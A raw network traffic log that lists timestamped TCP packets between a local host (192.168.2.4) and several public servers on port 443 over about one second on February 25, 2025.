Feb 25, 2025 15:37:23.194231987 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.194245100 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.195669889 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.195735931 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:23.196290016 CET	443	49771	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:23.196626902 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:23.196708918 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.196767092 CET	49771	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:23.196778059 CET	443	49771	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:23.196894884 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:23.196903944 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.197828054 CET	443	49771	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:23.197885036 CET	49771	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:23.198832035 CET	49771	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:23.198894024 CET	443	49771	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:23.198982954 CET	49771	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:23.198990107 CET	443	49771	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:23.237369061 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:23.238801956 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.238919020 CET	49771	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:23.303019047 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.303097010 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.303123951 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.303149939 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.303175926 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.303200006 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.303225040 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.303250074 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.303262949 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:23.303262949 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:23.303262949 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:23.303277016 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.303292990 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:23.303638935 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.303661108 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.303678036 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:23.303682089 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.303725958 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:23.303729057 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.327111959 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.327162981 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.327202082 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.327233076 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.327260971 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.327346087 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.327346087 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.327369928 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.327421904 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.327537060 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.327982903 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.328041077 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.328047037 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.332400084 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.332432032 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.332459927 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.332473993 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.332485914 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.332526922 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.337155104 CET	443	49771	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:23.337227106 CET	443	49771	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:23.337320089 CET	49771	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:23.337670088 CET	49771	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:23.337687969 CET	443	49771	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:23.339214087 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:23.339257002 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:23.339324951 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:23.339570999 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:23.339581966 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:23.350147963 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:23.390790939 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.390799999 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.390841961 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.390857935 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.390949011 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:23.390955925 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.391035080 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:23.413938999 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.414006948 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.414051056 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.414098024 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.414115906 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.414166927 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.414288998 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.414396048 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.414441109 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.414448977 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.414809942 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.414840937 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.414870977 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.414875031 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.414880037 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.414938927 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.415379047 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.415441036 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.415446043 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.415505886 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.415530920 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.415544987 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.415549994 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.415601015 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.415606022 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.416335106 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.416363955 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.416393042 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.416398048 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.416439056 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.416444063 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.416471004 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.416503906 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.416515112 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.416532993 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.416579962 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.417171955 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.417272091 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.417323112 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.418297052 CET	49770	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.418313980 CET	443	49770	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.431104898 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.431142092 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.431232929 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.431423903 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.431432962 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.476794004 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.476819992 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.476937056 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:23.476949930 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.476995945 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:23.478019953 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.478038073 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.478104115 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:23.478108883 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.478142977 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:23.479151011 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.479167938 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.479234934 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:23.479239941 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.479289055 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:23.480088949 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.480151892 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:23.480156898 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.480180979 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.480221987 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:23.480484009 CET	49772	443	192.168.2.4	151.101.66.137
Feb 25, 2025 15:37:23.480496883 CET	443	49772	151.101.66.137	192.168.2.4
Feb 25, 2025 15:37:23.492835999 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:23.492875099 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:23.492944002 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:23.493170023 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:23.493180990 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:23.796222925 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:23.796559095 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:23.796587944 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:23.796942949 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:23.797277927 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:23.797348976 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:23.797411919 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:23.839334965 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:23.995953083 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.996207952 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.996238947 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.997262001 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.997325897 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.997711897 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.997766972 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:23.997852087 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:23.997864962 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.013521910 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.013565063 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.013593912 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.013618946 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.013636112 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.013647079 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.013659000 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.013667107 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.013700962 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.014148951 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.014765024 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.014791965 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.014816046 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.014816999 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.014834881 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.014858961 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.037885904 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:24.060936928 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.061263084 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.061279058 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.062289000 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.062362909 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.062680960 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.062760115 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.062814951 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.062820911 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.070135117 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.070146084 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.098684072 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.098714113 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.098741055 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.098762035 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.098777056 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.098826885 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.098947048 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.098988056 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.099123955 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.099214077 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.099237919 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.099253893 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.099258900 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.099301100 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.099304914 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.100044966 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.100085974 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.100100040 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.100105047 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.100152969 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.100584030 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.100634098 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.100657940 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.100673914 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.100678921 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.100716114 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.101459026 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.101499081 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.101532936 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.101540089 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.101543903 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.101587057 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.102283955 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.102333069 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.102386951 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.102392912 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.102807999 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.102854013 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.103097916 CET	49773	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.103110075 CET	443	49773	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.111494064 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.112410069 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.112472057 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.112514973 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.112515926 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:24.112535000 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.112588882 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.112592936 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:24.112603903 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.112647057 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:24.112653017 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.112704039 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.112739086 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:24.112740040 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.112752914 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.112781048 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:24.117156982 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.117789030 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.117836952 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.117902994 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.118165016 CET	49776	443	192.168.2.4	104.18.95.41
Feb 25, 2025 15:37:24.118181944 CET	443	49776	104.18.95.41	192.168.2.4
Feb 25, 2025 15:37:24.165220976 CET	49777	443	192.168.2.4	104.16.2.189
Feb 25, 2025 15:37:24.165254116 CET	443	49777	104.16.2.189	192.168.2.4
Feb 25, 2025 15:37:24.165328026 CET	49777	443	192.168.2.4	104.16.2.189
Feb 25, 2025 15:37:24.165530920 CET	49777	443	192.168.2.4	104.16.2.189
Feb 25, 2025 15:37:24.165544033 CET	443	49777	104.16.2.189	192.168.2.4
Feb 25, 2025 15:37:24.169625998 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:24.169641972 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.171731949 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.171859980 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.171897888 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.171914101 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.171922922 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.171979904 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.171987057 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.189985991 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.190032959 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.190057039 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.190063953 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.190099955 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.190234900 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.190284967 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.190318108 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.190325022 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.190330029 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.190363884 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.201205969 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.202101946 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.202152967 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.202163935 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:24.202172041 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.202213049 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:24.202219009 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.202258110 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.202289104 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:24.202291965 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.202306032 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.202339888 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:24.202929974 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.202995062 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.203026056 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:24.203032970 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.203088999 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.203121901 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:24.203128099 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.203789949 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.203830957 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:24.203835011 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.203845024 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.203881025 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:24.203886986 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.204631090 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.204665899 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.204684019 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:24.204691887 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.204726934 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.204741001 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:24.204746962 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.204782963 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.204857111 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:24.204864025 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.204901934 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:24.205426931 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.205483913 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.205521107 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:24.205528021 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.205598116 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.205636024 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:24.205743074 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:24.205754995 CET	443	49774	104.17.24.14	192.168.2.4
Feb 25, 2025 15:37:24.205765009 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:24.205796003 CET	49774	443	192.168.2.4	104.17.24.14
Feb 25, 2025 15:37:24.241379023 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.262723923 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.262794018 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.262830973 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.262836933 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.262845993 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.262893915 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.263235092 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.263477087 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.263510942 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.263520002 CET	49775	443	192.168.2.4	151.101.194.137
Feb 25, 2025 15:37:24.263525009 CET	443	49775	151.101.194.137	192.168.2.4
Feb 25, 2025 15:37:24.263566017 CET	49775	443	192.168.2.4	151.101.194.137
